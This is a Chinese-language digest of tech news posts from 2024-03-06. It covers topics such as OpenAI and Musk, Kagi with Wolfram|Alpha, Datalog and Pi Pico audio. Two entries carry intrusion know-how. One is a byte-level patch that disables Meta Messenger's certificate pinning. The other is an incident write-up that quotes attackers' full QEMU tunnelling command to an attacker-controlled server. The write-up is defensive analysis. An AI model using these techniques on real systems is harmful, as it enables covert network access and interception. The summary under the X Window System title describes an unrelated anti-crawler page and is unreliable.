2024-03-06

31 篇热帖

1. OpenAI and Elon Musk (openai.com)

OpenAI与Elon Musk的关系发展

主要分歧与离开

  • 营利结构讨论:2017年底,为推进使命,OpenAI决定创建营利性实体。
  • Elon的要求:Elon Musk希望获得多数股权、初期董事会控制权并担任CEO,甚至在谈判过程中扣留了资金。
  • 核心矛盾:OpenAI认为由个人绝对控制公司违背其使命,因此无法同意其条款。Elon随后提议将OpenAI合并入特斯拉,并转发邮件称OpenAI应“附属于特斯拉作为其摇钱树”,认为这是对抗谷歌的唯一可行路径。
  • 离开与声明:2018年2月底,Elon选择离开OpenAI,表示成功概率为零,并计划在特斯拉内部构建AGI竞争对手。但他同时告知团队,支持OpenAI自寻路径筹集数十亿美元。

资金与后续支持

  • 过渡资金:在Elon扣留资金期间,Reid Hoffman提供了资金支持以覆盖OpenAI的工资和运营成本。
  • Elon的后续表态:2018年12月,Elon在邮件中强调,筹措数亿美元远远不够,需要立即每年投入数十亿美元,否则就应放弃。
2. Kagi and Wolfram (blog.kagi.com)

Kagi 与 Wolfram|Alpha 的合作概述

搜索引擎的构建充满挑战,需处理海量数据、理解复杂查询,并持续演进以满足用户期望。在 AI 生成内容日益泛滥的时代,确保搜索结果的可靠性尤为重要。

Kagi 致力于提供最准确、可靠的搜索体验。其核心理念是用 AI 增强(而非创造)搜索结果,且仅在用户明确请求时启用。为保证质量,Kagi 会自动降低广告和追踪页面的排名(这类页面常与低质量或机器生成内容关联)。其个性化功能允许用户按偏好定制搜索流,并通过“Small Web”计划推广个人博客和网站的高质量原创内容。

为进一步提升搜索能力并解决 AI 生成答案可能带来的误导问题,Kagi 与知名计算知识引擎 Wolfram|Alpha 达成合作。通过将 Wolfram|Alpha 广泛的知识库和强大算法整合至 Kagi 平台,旨在为用户提供更精确、可靠、全面的搜索结果。这一合作标志着 Kagi 在构建可信赖搜索引擎方面的重要进展。

同时,Stephen Wolfram 加入了 Kagi 顾问委员会。他拥有丰富的创业经验(Wolfram Research 成立于 1987 年),将公司发展至千人规模,并深耕教育领域多年,其见解将为 Kagi 的下一步发展提供重要指导。

Wolfram|Alpha 在 Kagi 中的具体集成

  • 快速查询:支持数学、时间、单位换算及事实信息的即时回答。
  • 复杂计算:能够直接处理更复杂的计算类查询。
  • 语言支持:允许直接评估 Wolfram 语言命令。
  • 知识图谱:推出由 Wolfram|Alpha 驱动的富媒体知识图谱小部件。
  • 即时摘要:在用户输入时即显示信息摘要,无需完成整个搜索流程。

这些功能计划集成到 Orion 浏览器中,并开放给其他浏览器实现。

未来计划

  • 助手整合:将 Wolfram|Alpha 作为 Kagi 助手(基于大语言模型)的可靠信息源,且对用户无额外收费。
  • 信息小部件:继续丰富已有小部件(如天气、时间、计算器、网速测试、翻译、颜色),并计划新增更强大的计算器、体育比分、股价图表等。
  • 开放扩展:考虑提供可消费的 API,允许用户按需在 Kagi 搜索结果中添加自定义小部件,并通过开源仓库共享。
3. Autogenerating a Book Series from Three Years of iMessages (benkettle.xyz)

项目概述

作者为了解决在手机上浏览旧iMessage对话体验不佳(如加载慢、无法跳转日期)的问题,构思了一个方案:将自己的三年iMessage对话记录自动生成为一套实体书籍,以便能像翻书一样轻松回顾过去的对话。

实施过程

1. 数据提取

  • 获取数据库:通过在Mac上对iPhone进行标准备份,找到了存储iMessage记录的SQLite数据库文件sms.db。其具体路径基于备份目录结构和一个已知的文件名哈希值(3d0d7e5fb2ce288813306e4d4636395e047a3d28)。
  • 查询消息:使用SQLite查询消息时发现,许多消息的文本内容并不直接存储在message.text字段中,而是以NSMutableAttributedString的二进制格式存储在message.attributedBody字段里。

2. 数据解析与处理

  • 借助开源库:作者使用了现有的imessage-database Rust库。该库能解析上述复杂的iMessage数据库格式,并输出结构化的数据。
  • 生成格式:虽然该库自带了将对话导出为文本或HTML的功能,但这些格式不便于制作成实体书。因此,作者决定利用解析后的数据来生成更适合打印排版的LaTeX源码。

3. 生成LaTeX书籍内容

  • 基本排版:通过遍历消息数据,为每条消息生成LaTeX代码。来自发送者的消息左对齐,来自接收者的消息右对齐。对附件等特殊内容进行标注,并忽略如“反应”等不想呈现的元素。
  • 处理Emoji与Unicode:原生LaTeX不支持Unicode。作者改用XeLaTeX引擎,并借助Google的Noto Emoji黑白字体包,成功在生成的书籍中内联显示了表情符号。
  • 结构组织:按日期将对话分割成不同章节,并添加了显示当前日期的页眉。最终编译三年的对话,生成了超过一千页的内容。

4. 印刷成书

  • 分卷与成本:由于总页数过多,作者将内容分为三卷。经过比较,选择了Barnes & Noble Press服务进行印刷,其价格相对合理(三卷共约1300页,含邮费总价30美元),且无需正式“出版”即可打印个人书籍。
  • 设计封面:根据印刷网站生成的封面尺寸要求,使用Inkscape软件为三卷书设计了封面。
  • 成果:最终成功获得了三本实体书,作者可以方便地翻阅,体验远优于在手机屏幕上查找和浏览。

相关资源

项目的源代码(虽然未打包成易用的二进制文件)已公开在GitHub上,供他人参考或尝试复制此过程。

4. Dada, an experimental new programming language (dada-lang.org)
  • Dada 是一个用于构建 WebAssembly 组件实验性编程语言
  • 目前该项目处于翻新阶段,更多详细信息将在未来公布。
5. Cracking Meta's Messenger Certificate Pinning on macOS (texts.blog)

破解macOS上Meta Messenger的证书固定

本文分析了如何通过二进制补丁绕过Meta Messenger macOS应用程序的证书固定机制,以便使用中间人代理分析其网络请求。

背景与挑战

  • 证书固定:Meta在其应用中实现证书固定,仅接受特定CA颁发的证书,从而阻止使用自签名证书进行中间人攻击。
  • 默认行为:启用证书固定时,所有请求都会返回“内部错误”和“SSL握手失败”,无法获取任何请求信息。

已尝试的方案

  • 修改URL端点:将请求重定向到无TLS的自托管端点,但因Messenger规模较大而不适用。
  • 使用Frida动态插桩:虽然常用,但Messenger容易崩溃且配置复杂,现有绕过脚本对Meta应用无效。

最终方案:二进制补丁

采用二进制补丁修改可执行文件,便于分发给团队成员。

具体步骤

  1. 提取二进制文件:从 /Applications/Messenger.app/Content/MacOS/Messenger 获取ARM架构的可执行文件。
  2. 使用Hopper反汇编:搜索与证书固定相关的字符串,如 "SSL pinning verification failed for host:""Using custom sandbox -> turn off SSL verification"
  3. 定位关键函数:找到 IsUsingSandbox() 函数,其返回值控制证书固定。原始代码通过加载字节指令设置寄存器 w19 的值。
  4. 修改指令:将原始的加载字节指令(ldrb w19, [sp, #0x40 + var_20],十六进制 F3 83 40 39)替换为直接设置 w19 为1的指令(mov w19, #1,十六进制 33 00 80 52)。这强制 IsUsingSandbox() 始终返回 true,从而禁用证书固定。
  5. 重新打包与签名:使用Hopper导出新可执行文件,移除签名,并替换原文件。团队成员可用 codesign 工具重新签名后使用。

结果

仅修改4个字节(原文件共97,477,728字节),即可成功拦截并查看所有请求的头信息和响应体。该方法已成功应用于团队协作环境。

附注

文中提及2020年Hassan Mostafa在越狱iPhone上通过翻转条件分支指令破解Instagram证书固定的类似案例,表明该思路在不同平台均具可行性。

6. Microsoft is ending support for the Windows Subsystem for Android (WSA) (learn.microsoft.com)

微软将终止对Windows Subsystem for Android (WSA) 的支持

核心信息

  • 生效日期:自2025年3月5日起,Windows Subsystem for Android™及亚马逊应用商店将不再在微软商店中提供。
  • 功能概述:WSA允许在Windows 11设备上运行通过亚马逊应用商店分发的Android应用。

对开发者的影响与操作指南

  1. 环境搭建与测试

    • 前往开始 > 所有应用 > Windows Subsystem for Android™调整WSA设置。
    • 需在Windows设置中启用开发者模式
    • 通过adb connect 127.0.0.1:58526命令连接至WSA虚拟机进行调试。
    • 可以使用Android Studio部署和调试应用。
  2. 应用兼容性优化要点

    • 键盘输入:需处理回车键、方向键/Tab键导航、Ctrl快捷键等桌面输入场景。
    • 鼠标输入:需支持右键单击、悬停效果、滚轮滚动和拖放等操作。
    • 窗口管理:应用应能适应窗口自由调整大小、贴靠行为。系统强制最低720p(1280x720)且屏幕大于9英寸。
    • 屏幕方向:应用需处理不同窗口比例下的“信箱模式”或“邮筒模式”显示。
    • 生命周期事件:在多窗口环境中,通常应使用onStop而非onPauseonUserLeaveHint事件。
    • 虚拟机生命周期:WSA虚拟机存在“运行”、“轻度休眠”(无活动3分钟后)和“未运行”(无活动7分钟后)三种状态。
  3. 性能与构建

    • 为获得最佳性能,建议针对x86-64和Arm64两种架构提交应用,以减少依赖Intel Bridge技术进行指令转换带来的性能开销。
  4. 系统集成与安全

    • WSA可自动将文件操作或常见URI(如http/https、mailto)的意图重定向至Windows默认应用。
    • 应用可通过自定义URI方案(Action: com.microsoft.windows.LAUNCH_URI)手动启动Windows应用。
    • Windows内核驱动和应用可检查Android容器及应用内存,安全级别报告为SECURITY_LEVEL_SW_SECURE_CRYPTO

其他说明

  • 卸载:卸载亚马逊应用商店将同时移除WSA及所有Android应用;卸载WSA也会导致亚马逊应用商店和所有Android应用被卸载。
  • 故障排除:如遇问题,可尝试清除亚马逊应用商店的存储和缓存并强制停止。
  • 开发者资源:相关技术细节和优化指南请参阅Android官方文档中的输入兼容性、窗口管理等内容。
7. Embedded Swift on the Raspberry Pi Pico (forums.swift.org)

文章标题: Embedded Swift on the Raspberry Pi Pico/RP2040 without the Pico SDK

核心内容概述: 本文介绍了一种在树莓派 Pico(RP2040 芯片)上运行嵌入式 Swift 的创新方法,其核心是完全绕过了官方 Pico SDK,使用一个轻量级的自制工具链,直接生成纯 Swift 可执行文件。

主要技术要点:

  1. 方法创新:与传统使用 Pico SDK 和 C 混合编程的方式不同,本方法构建了一个独立的嵌入式 Swift “工具链”,实现了完全由 Swift 语言编写程序的目标。
  2. 实现细节
    • 全 Swift 代码:包括启动代码、设备驱动程序等所有底层代码均使用 Swift 编写。
    • 头文件移植:将必要的 C 语言 RP2040 芯片头文件移植到了 Swift 中。
    • 轻量级工具链:该工具链主要由一组 Python 脚本构成,不依赖复杂的外部工具链,结构简洁。
  3. 目标硬件:文中示例使用的是 SparkFun Pro Micro - RP2040 开发板。
  4. 构建示例:提供了一个简单的“Blink”(LED闪烁)示例,演示了如何使用该工具链构建项目,并展示了项目的文件结构。
9. The "missing" graph datatype already exists. It was invented in the '70s (tylerhou.com)

本文回应Hillel Wayne关于编程语言缺乏图形数据类型支持的文章。作者认为核心问题不在于图形本身的复杂性,而在于现代编程语言的命令式/结构化编程模型不适合图算法。在命令式语言中,开发者必须预先选择图的显式表示(如邻接表或邻接矩阵),这使得算法与具体表示强耦合,当性能不佳时难以更改。

作者提出的解决方案是使用声明式编程语言,其中Datalog是一个理想选择。Datalog的语义基于1970年代发明的关系代数,能够极其自然地表达图算法。

在Datalog中,图被自然地编码为边关系(一个边的集合)。图算法(如计算可达性)通过在该关系上进行递归连接来声明式地表达。文章以一个计算图传递闭包的Datalog程序为例,展示了如何仅用几行代码定义“路径”关系,并通过规则的不断应用直至达到不动点,来计算出图中所有点对之间的路径存在性。该方法易于扩展,例如支持无向图或带权图的最短路径计算。

尽管可能认为手写的命令式算法性能更优,但事实表明,使用Datalog实现的程序分析框架(如Doop和Egglog)通常比用Java或Rust手写的对应版本性能高出一个数量级。这是因为数据库引擎拥有数十年的数据表示和查询优化研究积累。Datalog引擎能够根据图的结构特征(如稀疏性、密度)自动选择最高效的表示(如使用索引、选择哈希连接或归并连接),并能随着数据变化自适应调整策略,而无需程序员手动优化。

然而,Datalog的主要缺点在于其相对小众,对习惯命令式编程的开发者而言学习曲线较陡峭,且编写和理解大型Datalog程序可能较难。近年来,有研究致力于将Datalog与传统语言融合以降低使用门槛,例如:

  • Flix语言:最初为支持程序分析中的格而扩展,现已发展为类似命令式语言但原生支持Datalog约束和不动点计算。
  • 将函数式语言编译到Datalog:通过技术“控制”Datalog的求值顺序以适应函数式编程范式。

总结而言,图形的数据模型(关系)和代数基础早在1970年代就已发明。近年来,Datalog在程序分析领域的应用、连接算法(如WCOJ)的进展以及增量视图维护(DBSP)等新技术的发展,为其融入主流编程语言带来了新的希望。作者认为,未来编程语言有望深度集成Datalog,从而为图算法提供强大、高效且声明式的内置支持。

11. New ways we're tackling spammy, low-quality content on Search (blog.google)

谷歌近期宣布多项措施以提升搜索结果质量,重点打击低质量及垃圾内容。

一、算法改进与效果

  • 核心排名系统得到算法增强,旨在提升网络上有用信息的呈现,减少搜索结果中的非原创内容。
  • 此次更新基于2022年以来的调整经验,重点关注对用户无益、体验不佳或为搜索引擎而非用户创建的网页。
  • 预计本次更新与过往努力相结合,可将搜索结果中的低质量、非原创内容减少40%。
  • 更新(2024年4月26日):截至4月19日,相关更改已全面实施,实际将低质量、非原创内容减少了45%,超出预期。

二、新增及改进的垃圾政策 谷歌更新垃圾政策,以应对导致低质量、非原创内容出现的新滥用行为。主要针对以下三种情况:

  1. 规模化内容滥用
    • 政策从原先主要禁止明确使用自动化大规模生成低质量内容,扩展至更广泛地针对“以规模化生产内容来提升搜索排名”的滥用行为。
    • 无论内容由自动化、人工或两者结合产生,只要其价值极低且旨在操纵排名,均可能被视为垃圾内容。
  2. 网站声誉滥用
    • 指某些网站为利用自身良好声誉获取排名利益,托管第三方提供的低质量内容(例如,在知名教育网站发布贷款评论)。
    • 此类主要为排名目的产生、缺乏网站所有者严格监管且价值极低的第三方内容,现被视为垃圾内容。新政策于2024年5月5日起执行,以给网站所有者留出调整时间。
  3. 过期域名滥用
    • 指购买过期域名并重新利用,主要目的是为了提升低质量或非原创内容的搜索排名。这种行为可能误导用户,现被视为垃圾内容。

三、总结 谷歌表示将持续努力,维持搜索结果中的低质量内容处于较低水平,并为用户展示更多真正有益的信息。

12. Ace of Aces: Why you should do maths as a game designer (paxsims.wordpress.com)

《王牌飞行员:为何游戏设计师应研究数学》文章总结

本文以1980年的纸面电脑游戏《王牌飞行员》为例,探讨了数学在游戏设计中的核心作用。该游戏是一款双人第一次世界大战空战模拟,使用两本配对的书本实现复杂的飞行模拟,比电子游戏《德军总部3D》早11年。

核心概念:纸面电脑与算法本质

文章首先将早期可编程设备(如1770年的自动玩偶、差分机)与《王牌飞行员》类比,指出它们都是特定算法的物理实现。游戏本质上是编码算法的载体,而算法可分解为基本数学运算。棋盘游戏常通过骰子(随机数)、棋子状态(积分计算)、查表(如《卡坦岛》的资源交易比率)等方式隐含数学逻辑。

《王牌飞行员》的创新设计

该游戏通过两本配对书实现:每本书以第一人称视角显示敌机相对位置,每页列出可选机动及对应的翻页指令。关键特性包括:

  1. 操作简洁:玩家只需查看视角图、选择机动、交换页码、查阅中间页,无需骰子、计数器等组件。
  2. 同步机制:无论玩家选择何种机动,最终总会翻到相同页码,确保游戏状态一致。
  3. 错误检测:页码不匹配即表示操作有误。

数学原理:六角格与变换矩阵

游戏底层采用六角格系统,但并非传统地图的绝对坐标,而是相对坐标系

  • 每回合玩家从原点(位置0A)出发,敌机位置相对于原点记录。
  • 机动操作对应固定的变换矩阵,无论起始位置如何,相同的机动产生相同的相对变化。
  • 通过“单位矩阵”(无移动无旋转的机动)保持页码不变,形成系统校验。

核心数学特性为变换矩阵的可交换性:若敌我机动变换分别为A和G,则最终相对位置满足AGA = GAG。这使得双方按任意顺序执行机动后,始终能到达相同的相对视角页面。

实现机制与扩展应用

作者通过Unity引擎和C#编程复现了书本生成逻辑:

  1. 构建六角格所有可能的相对位置及互逆视角表,分配页码。
  2. 计算所有机动组合的中间页码矩阵,映射至实际书本页面。
  3. 利用游戏引擎自动生成场景截图,实现纸面电脑的快速原型设计。

文章进一步展示了该原理的扩展可能性:

  • 《王牌U艇》:采用非欧几里得几何(不同距离采用不同比例尺)实现潜艇模拟。
  • 诺模图:类似滑尺的图表工具,可用于解决相对运动问题(如二战反潜战术图),将多维查找表可视化。

对游戏设计的启示

  1. 视角与状态分离:游戏视觉表现与内部状态(如《俄罗斯方块》的坠落实为时间限制)可能完全不同。
  2. 相对坐标系:第一人称视角只需考虑物体间相对位置,大幅简化计算复杂度。
  3. 算法编码多样化:游戏机制可编码为机械结构、电路、纸质查表等多种形式。
  4. 变换矩阵的通用性:通过数学性质(如可交换性)可确保系统一致性,实现无需数字计算的复杂交互。

该案例证明,深入理解数学原理能帮助设计师创建简洁而深度的游戏系统,并将计算机逻辑转化为物理或纸质媒介的创新交互形式。

13. Pikachu Volleyball (github.com)

Pikachu Volleyball(対戦ぴかちゅ~ ビーチバレー編)是一款1997年发布的经典Windows游戏,原开发者为"(C) SACHI SOFT / SAWAYAKAN Programmers"和"(C) Satoshi Takenouchi"。本仓库通过逆向工程原版游戏的核心机器码,使用JavaScript重新实现了其物理引擎和AI部分。

如何游玩 您可以直接在网站 https://gorisanson.github.io/pikachu-volleyball/en/ 上在线游玩。若要在本地运行,需克隆仓库、安装依赖、打包代码并启动本地服务器,然后通过浏览器连接(通常为 http://localhost:8080)。

游戏结构

  • 物理引擎与AI:位于 src/resources/js/physics.js 文件。该文件通过逆向工程原版游戏机器码地址 00403dd0 处的函数而得,负责计算球和宝可梦(玩家)的位置,并决定电脑玩家的键盘输入。
  • 渲染:使用PixiJS库实现游戏画面渲染。
  • 其他细节可参考 src/resources/js/main.js 文件的注释。

逆向工程方法 主要使用了以下工具:

  • Ghidra:用于将机器码反编译为C代码。
  • Cheat Engine:用于定位关键变量(如球和玩家的坐标),从而使反编译的代码变得可读。
  • OllyDbg:用于修改机器码(例如制作慢速版游戏以统计帧数)。
  • Resource Hacker:用于提取游戏资源(精灵图和音效)。

与原版游戏的有意差异 在无键盘输入时,游戏会进入AI对战模式。与原版约40秒的时间限制不同,本JavaScript版本的AI对战没有时间限制,玩家可以无限观看。

14. Training LLMs from ground zero as a startup (www.yitay.net)

本文介绍了创业公司 Reka 从零开始训练大型语言与多模态模型的经验与挑战。

硬件“彩票”与基础设施不稳定 训练模型的第一步是获取计算资源,但挑战远超预期。硬件提供商的算力集群质量差异巨大,如同“彩票”——即使是相同的GPU(如H100),不同集群的稳定性、I/O性能、文件系统和支持服务也天差地别。这导致故障频发、检查点保存超时、资源利用率(MFU)低下等问题,且难以提前预知。为此,Reka不得不投入大量精力开发监控、高效检查点保存及自定义文件系统等工具来应对。

GPU与TPU的对比 作者此前在Google主要使用TPU,认为其分布式训练更成熟、故障率低。转向GPU后,感受是多节点训练更像“事后补充”,不同供应商的接线方式各异,导致体验不一。作者认为,硬件故障率的差异可能更多源于管理团队的能力而非芯片本身。

多集群管理的困境 与Google内部统一的基础设施(Borg、Colossus等)不同,创业公司因供应紧张往往需要整合多个地理分散的集群。迁移数据、设置环境带来巨大开销,而构建成熟的编排调度层对初创公司不现实。Reka只能开发内部工作流来缓解,逐步向理想的实验基础设施迈进。

外部代码库的质量差距 Reka选择了团队更熟悉且流行的PyTorch,而非作者个人偏爱但已不对外维护的Google内部框架(如T5X)。作者坦言,外部代码库的质量与Google内部由顶尖ML研究者编写的代码相比有明显差距,功能上也缺乏对大规模编码器-解码器或前缀LM训练的原生支持。

资源有限下的训练策略 由于无法像大公司那样进行大规模、系统性的超参数扫描(例如从1B到300B的渐进式测试),Reka在有限的算力下采用了更依赖经验、直觉和“YOLO”(大胆尝试)的策略。团队凭借过往经验缩小搜索空间,通过相对较少的试错成功训练出Reka Flash(21B)等模型。

总结 作者回顾了这段充满挑战的“荒野求生”经历。计算资源稀缺与不可靠是超出预期的主要障碍,但团队凭借技术实力克服了困难,在不到一年时间内,从零构建基础设施,成功训练出可媲美Gemini Pro/GPT-3.5等的模型。文章最后指出,数据管道、人工评估等更多话题将在后续讨论。

16. Network Tunneling with QEMU (securelist.com)

利用QEMU进行网络隧道攻击

网络攻击者倾向于使用合法工具执行攻击步骤,以规避检测并降低开发成本。建立网络隧道或转发端口是其中一种常用技术,用于绕过NAT和防火墙,访问受攻击组织的内部网络。在近年来的网络安全事件中,攻击者频繁使用多种隧道工具,如ngrok、FRP等,约占攻击总数的10%。

在一次针对大型公司的事件调查中,安全研究人员发现攻击者部署并启动了Angry IP Scanner(网络扫描工具)、mimikatz(凭据提取工具)以及QEMU硬件模拟器。分析受感染机器的内存发现,QEMU的启动命令行非常特殊:

qemu-system-i386.exe -m 1M -netdev user,id=lan,restrict=off -netdev socket,id=sock,connect=<IP>:443 -netdev hubport,id=port-lan,hubid=0,netdev=lan -netdev hubport,id=port-sock,hubid=0,netdev=sock -nographic

关键参数解析

  • -m 1M:分配仅1MB内存,远低于运行操作系统所需,表明QEMU并非用于常规虚拟化。
  • -netdev user,id=lan,restrict=off:创建用户态网络后端lan,允许虚拟机通过宿主机的网络栈与外部通信,并取消连接限制。
  • -netdev socket,id=sock,connect=<IP>:443:创建套接字型网络后端sock,连接至攻击者控制的外部IP的443端口。
  • -netdev hubport:将两个网络后端(lansock)连接到同一个虚拟交换机(hubid=0),使流量在两者间桥接。
  • -nographic:无图形界面启动。

此配置的本质是利用QEMU的网络后端功能在受感染主机(PivotHost)与攻击者服务器之间建立一个二层网络隧道。攻击者无需在受感染系统上加载操作系统镜像,仅用QEMU创建一个虚拟网络环境,即可将受感染主机所在的内部网络流量隧道转发至攻击者控制的服务器。

验证实验: 研究人员搭建了测试环境,模拟攻击链:

  1. InternalHost:无互联网访问的内网系统(运行RDP服务)。
  2. PivotHost:可访问互联网的内网系统(模拟被入侵主机)。
  3. AttackerServer:攻击者控制的云服务器。

实验步骤:

  • 在AttackerServer上,使用QEMU从Kali Linux LiveCD启动一个虚拟机,并监听443端口等待套接字连接。
  • 在PivotHost上,使用与攻击者相似的QEMU参数启动一个轻量虚拟机,通过套接字连接到AttackerServer。
  • 隧道建立后,AttackerServer上的Kali Linux虚拟机即可扫描PivotHost所在子网,发现了内网的InternalHost(IP: 192.168.56.109),并成功通过RDP连接至其3389端口。

流量分析: QEMU在隧道中传输数据时不进行加密。传输的是封装的原始以太网帧,其结构为:4字节帧长度字段 + 以太网帧本身。因此,通过抓取PivotHost上的流量并移除外层封装(TCP/IP头及长度字段),即可提取出隧道内的原始流量。

结论与防护: 攻击者创新性地将QEMU这一合法虚拟化工具用于建立隐蔽的网络隧道,这对传统防御体系提出了挑战。有效的防护需要多层次的综合安全方案,包括:

  • 可靠的端点防护(EPP)。
  • 24/7的网络监控(NDR, NGFW)和端点检测与响应(EDR)。
  • 专业安全运营中心(SOC)进行异常监测。

安全厂商已将此类可疑QEMU活动纳入检测范围(如Backdoor.Agent.QEMU.C&C规则),以实现在攻击初期的及时阻断。

17. A peculiarity of the X Window System: Windows all the way down (utcc.utoronto.ca)

这篇文章描述了作者网站(Wandering Thoughts 和 CSpace)因频繁遭遇滥用爬虫而实施的反爬虫防护措施。防护机制主要基于检测浏览器发送的 Sec-CH-UA-* HTTP 请求头(即用户代理客户端提示)的不一致性。

核心原因: 当前存在大量伪造 User-Agent 的滥用爬虫(部分用于 LLM 训练数据收集)。当浏览器声明自身为 Chrome 等应正确发送客户端提示的浏览器,但实际发送的 Sec-CH-UA-PlatformSec-CH-UA 等头部信息却与声明不符时,访问请求将被阻止。

被标记为可疑的具体情况包括:

  1. Chrome 浏览器版本应提供但缺失 Sec-CH-UA 头(即使因隐私扩展禁用,也可能因爬虫冒充而被拦截)。
  2. Sec-CH-UA-Platform 值与浏览器 User-Agent 中的平台信息不匹配。
  3. Sec-CH-UA 头中的品牌版本号与浏览器 User-Agent 中的版本信息(如 Chrome/ 版本)不匹配。
  4. Sec-CH-UA 头显示为无头 Chrome(headless Chrome),因其被大量爬虫使用。

误判处理: 若访问者使用当前版本的正规浏览器但仍被阻止,可通过作者提供的大学联系方式进行反馈,需说明浏览器信息及 User-Agent 字符串。作者明确表示不会为伪装成 Chrome 且 User-Agent 难以区分的软件提供豁免,对不愿承认自身行为的爬虫软件不再提供帮助。

建议: 用户可使用 Chrome 开发者工具检查浏览器实际发送的 Sec-CH-UA 头信息以排查问题。

20. Pg_vectorize: The simplest way to do vector search and RAG on Postgres (github.com)

pg_vectorize 概述

pg_vectorize 是一个基于 PostgreSQL 的向量数据库解决方案,其核心功能是自动化地将文本转换为向量嵌入,并集成主流的大语言模型。该项目旨在简化在 Postgres 上构建向量搜索、全文搜索和混合搜索的工作流程,从而帮助用户快速实现检索增强生成(RAG) 和搜索引擎应用。

项目主要依赖 pgvector(进行向量相似性搜索)、pgmq(用于后台工作者编排)和 SentenceTransformers

两种使用模式

pg_vectorize 提供两种将语义、全文和混合搜索集成到任何 PostgreSQL 数据库的方式:

  1. HTTP 服务器模式(推荐用于托管数据库)

    • 运行一个独立的服务,该服务连接到 Postgres 数据库并对外暴露 REST API。
    • 主要端点POST /api/v1/table(创建嵌入作业)、GET /api/v1/search(执行搜索)。
    • 适用场景:当你的 Postgres 是托管服务(如 AWS RDS, Cloud SQL)或无法安装扩展时。此模式仅要求数据库中已安装 pgvector 扩展。
  2. Postgres 扩展模式(SQL 方式)

    • 将扩展直接安装到 PostgreSQL 数据库内部。
    • 通过 SQL 函数(如 vectorize.table()vectorize.search())提供数据库内体验和直接 API。
    • 适用场景:当你自托管 PostgreSQL 并且有权安装扩展时。此模式需要对 PostgreSQL 的文件系统有访问权限。

核心功能

  • 自动化作业:通过 vectorize.table() 或 HTTP API 创建作业,该项目会自动生成现有数据的嵌入向量,并持续监控表的更新或新增数据,确保嵌入同步更新。
  • 多模式搜索:支持语义搜索(基于向量相似性)、全文搜索以及结合两者的混合搜索。搜索结果会包含相似度分数、全文搜索排名等综合信息。
  • 简化 RAG 构建:通过提供文本嵌入化和搜索的自动化管线,使开发者能够专注于 RAG 应用的上层逻辑,而非数据预处理和向量管理的复杂细节。

快速开始(HTTP 服务器模式)

  1. 使用 docker compose up -d 启动包含 Postgres、嵌入服务器和管理 API 的所有服务。
  2. (可选)加载示例数据集。
  3. 通过向 /api/v1/table 端点发送 POST 请求来创建一个嵌入作业,指定源表、列、主键、更新时间列以及使用的嵌入模型。
  4. 通过向 /api/v1/search 端点发送 GET 请求进行搜索,传入作业名称和查询字符串。响应将返回匹配结果及其相关性分数。

如何选择模式

  • 选择 HTTP 服务器模式:如果你的数据库是托管的,或者你没有权限安装扩展。
  • 选择 Postgres 扩展模式:如果你可以自托管并安装扩展,希望获得更直接的、集成在数据库内部的 SQL 操作体验。

项目资源

  • API 文档:提供详细的 HTTP API 说明。
  • 源代码仓库:包含完整的项目代码。
  • 贡献指南:相关文档位于仓库根目录。
21. Free data transfer out to internet when moving out of AWS (aws.amazon.com)

AWS宣布免除客户在迁出AWS时数据传输到互联网(DTO)的费用。此举旨在支持客户选择自由,包括将数据迁移到其他云提供商或本地环境。政策适用于全球所有AWS客户,遵循欧洲数据法案的方向。

当前,超过90%的AWS客户已无数据传输费用,因为AWS每月提供100GB免费数据传输,覆盖从AWS区域到互联网的流量,包括Amazon EC2、Amazon S3、Application Load Balancer等服务。此外,Amazon CloudFront每月提供1TB免费数据传输。

当客户迁移数据时,需联系AWS Support申请免费DTO费率。申请在AWS账户级别审查,一旦批准,将为迁移数据提供信用额度。客户无需关闭账户或改变与AWS的关系,可随时返回。若同一账户多次申请,将进行额外审查。

更新内容:符合条件的客户有90天完成迁移;如需更多时间,须立即通知AWS支持。欧盟客户根据欧盟数据法案切换的,需查看AWS欧盟数据法案附录的标准和流程。此外,申请支持时已移除每月超过100GB数据传输量的要求。

AWS强调客户选择自由,并支持公平软件许可原则,便于与其他IT提供商使用软件。

22. Tell HN: "Default" FileZilla download bundled with adware (filezilla-project.org)

标题: Tell HN: "Default" FileZilla download bundled with adware
内容摘要:

FileZilla官方网站显示其结构包括多个关键部分,如主页、特性、截图、下载、文档、FileZilla专业版、RemoteDriveFileZilla服务器、下载社区、论坛、维基、常见问题、支持、联系、许可、隐私政策、商标政策、开发、源代码、每日构建、翻译、版本历史、更改日志、问题跟踪器以及其他项目(如libfilezilla和Octochess)。网站设有赞助商和推广区域,但具体细节未在内容中明确。

根据标题,有用户报告FileZilla的默认下载版本捆绑了广告软件(adware),提醒用户注意下载时可能存在不需要的软件。网站内容主要展示了FileZilla的功能和支持资源,但未直接涉及广告软件捆绑问题。关键点包括:

  • FileZilla作为FTP客户端提供丰富的功能和文档。
  • 官方网站结构完整,涵盖下载、社区支持和开发资源。
  • 默认下载版本被指出可能包含广告软件,需谨慎处理。

整体上,内容侧重于网站布局,而标题突出了下载版本的安全性问题。

24. YaCy, a distributed Web Search Engine, based on a peer-to-peer network (yacy.net)
25. Playing audio files in a Pi Pico without a DAC (antirez.com)

在不使用DAC的树莓派Pico上播放音频文件

树莓派Pico是一款优秀的嵌入式开发芯片,具备耐用的硬件和智能功能(如驱动GPIO的状态机)。其连接性问题已由W变体解决,数据手册详尽,且得到MicroPython和C SDK的良好支持,尽管C SDK的构建系统存在不必要的复杂性。

PWM生成声音的原理

Pico的GPIO可通过PWM(脉宽调制)功能输出方波,例如生成400Hz的方波声音。但方波音质较差。要播放复杂波形(如WAV文件),需要输出不同电压电平,这通常需要DAC。然而,Pico可通过PWM的占空比技巧模拟不同电压:

  • 将PWM频率设置得很高(如100kHz)。
  • 通过调整占空比(0-65535)控制平均电压:占空比越高,输出电压越高。
  • 例如,依次设置不同占空比值来生成波形样本序列,实现音频波形的近似。

播放WAV文件的步骤

  1. 转换音频格式:使用FFmpeg将WAV文件转换为8位原始PCM格式(24000Hz采样率):
    ffmpeg -i ohno.wav -ar 24000 -acodec pcm_u8 -f u8 output.raw
    
  2. 上传文件:通过mpremote将原始文件上传到Pico:
    mpremote cp output.raw :
    
  3. 编写播放代码(MicroPython):
    • 初始化PWM(Pin 1,100kHz频率)。
    • 分块读取原始文件,对每个样本设置PWM占空比(样本值左移8位以适配16位精度)。
    • 通过空循环延迟以匹配采样率(24000Hz),确保播放速度正确。
    • 示例代码:
      from machine import Pin, PWM
      pwm = PWM(Pin(1))
      pwm.freq(100000)
      f = open("output.raw", "rb")
      buf = bytearray(4096)
      while f.readinto(buf) > 0:
          for sample in buf:
              pwm.duty_u16(sample << 8)
              # 添加延迟循环以匹配采样率
              for _ in range(5): pass  # 根据实际速度调整
      f.close()
      
